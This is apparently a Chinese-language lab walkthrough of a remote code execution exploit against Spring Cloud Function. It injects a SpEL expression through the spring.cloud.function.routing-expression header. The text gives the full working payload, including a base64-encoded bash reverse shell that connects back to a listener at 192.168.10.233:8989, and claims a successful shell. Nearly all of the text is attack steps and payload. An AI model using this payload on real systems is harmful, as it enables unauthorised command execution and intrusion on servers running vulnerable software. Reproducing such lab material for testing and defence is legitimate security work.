1.打开环境
进入环境所在的文件夹
docker-compose up -d 一键启动容器
2.浏览器访问环境
3.抓包
http://192.168.10.233:8080/functionRouter进行抓包
抓包修改请求方式
4.修改请求体内容
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("xxxx")
exec中写需要执行的命令
反弹shell
bash -i >& /dev/tcp/192.168.10.233/8989 0>&1
经过base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjIzMy84OTg5IDA+JjE=
最终payload
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjIzMy84OTg5IDA+JjE=}|{base64,-d}|{bash,-i}")
5.开启监听端口
成功反弹shell